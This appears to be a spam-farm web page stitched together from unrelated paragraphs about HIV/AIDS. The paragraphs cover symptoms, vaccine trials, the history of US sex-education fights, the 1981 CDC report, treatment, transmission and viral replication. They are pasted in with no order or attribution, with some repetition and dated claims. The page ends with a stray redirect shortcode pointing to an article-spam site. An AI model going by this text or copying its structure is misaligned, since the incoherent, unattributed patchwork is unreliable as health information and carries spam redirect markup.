If you have these symptoms, that doesn’t mean you have HIV. Each of these symptoms can be caused by other illnesses. But if you have these symptoms after a potential exposure to HIV, see a health care provider and tell them about your risk. The only way to determine whether you are infected is to be tested for HIV infection.
The last stage of HIV infection is AIDS (acquired immunodeficiency syndrome). People with AIDS have a low number of CD4+ cells and get infections or cancers that rarely occur in healthy people. These can be deadly.
Currently, there is no licensed vaccine for HIV or AIDS. The most effective vaccine trial to date, RV 144, was published in 2009 and found a partial reduction in the risk of transmission of roughly 30%, stimulating some hope in the research community of developing a truly effective vaccine. Further trials of the RV 144 vaccine are ongoing.
Sex is an old battleground in public education. Liberals and conservatives argued over it in the decade following the sexual revolution of the 1960s, initially over whether sexual issues should be discussed in schools. After all, earlier generations who went to public schools learned mainly about reproductive organs. As new classes began appearing in the late 1970s, children learned about the sexual choices people make. If liberals appeared to win the “sex ed.” debate, growing social problems helped: rises in teen pregnancies and sexually transmitted diseases secured a place for more explicit school health classes. The much greater threat of AIDS pushed state legislatures into action. By the mid-1990s, AIDS prevention classes had been mandated in at least 34 states and recommended in 14. But the appearance of even more explicit teaching has reinvigorated the sex ed. debate.
History marks the beginning of the American AIDS epidemic as June 5, 1981, when an issue of the C.D.C.’s Morbidity and Mortality Weekly Report — the authoritative voice of the agency — highlighted five cases of pneumocystis pneumonia (PCP) in previously healthy men in Los Angeles. Healthy people do not contract a disease like PCP, which had been largely confined until then to patients on medication to suppress their immune systems for an organ transplant or cancer patients on chemotherapy. Though not stated explicitly, the language of the report, by omitting race, implied that its “five young men, all active homosexuals,” were white, which they were. But there were two more documented cases, not mentioned in the notice, and these sixth and seventh cases were black — one of them a gay African-American, the other a heterosexual Haitian.
Treatment cannot (with rare exceptions) eliminate the virus from the body, although the HIV level often decreases so much it cannot be detected in blood or other fluids or tissues. An undetectable level is the goal of treatment. If treatment is stopped, the HIV level increases, and the CD4 count begins to fall.
Human immunodeficiency virus infection and acquired immune deficiency syndrome (HIV/AIDS) is a spectrum of conditions caused by infection with the human immunodeficiency virus (HIV). Following initial infection, a person may not notice any symptoms or may experience a brief period of influenza-like illness. Typically, this is followed by a prolonged period with no symptoms. As the infection progresses, it interferes more with the immune system, increasing the risk of common infections like tuberculosis, as well as other opportunistic infections, and tumors that rarely affect people who have working immune systems. These late symptoms of infection are referred to as acquired immunodeficiency syndrome (AIDS). This stage is often also associated with weight loss.
The best way to stop HIV is thought to be a vaccine. There is no vaccine for HIV yet. Many scientists are looking for an HIV vaccine. Even one that protected some people from HIV would save millions of people’s lives.
HIV has been found in saliva, tears, nervous system tissue, blood, semen (including pre-seminal fluid, or “pre-cum”), vaginal fluid, and breast milk. However, only blood, semen, vaginal secretions, and breast milk have been proven to transmit infection to others.
If HIV is left untreated, it may take up to 10 or 15 years for the immune system to be so severely damaged it can no longer defend itself at all. However, the speed HIV progresses will vary depending on age, health and background.
How quickly HIV progresses through the chronic stage varies significantly from person to person. Without treatment, it can last up to a decade before advancing to AIDS. With treatment, it can last indefinitely.
HIV releases RNA, the genetic code of the virus, into the cell. For the virus to replicate, its RNA must be converted to DNA. The RNA is converted by an enzyme called reverse transcriptase (produced by HIV). HIV mutates easily at this point because reverse transcriptase is prone to errors during the conversion of viral RNA to DNA. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]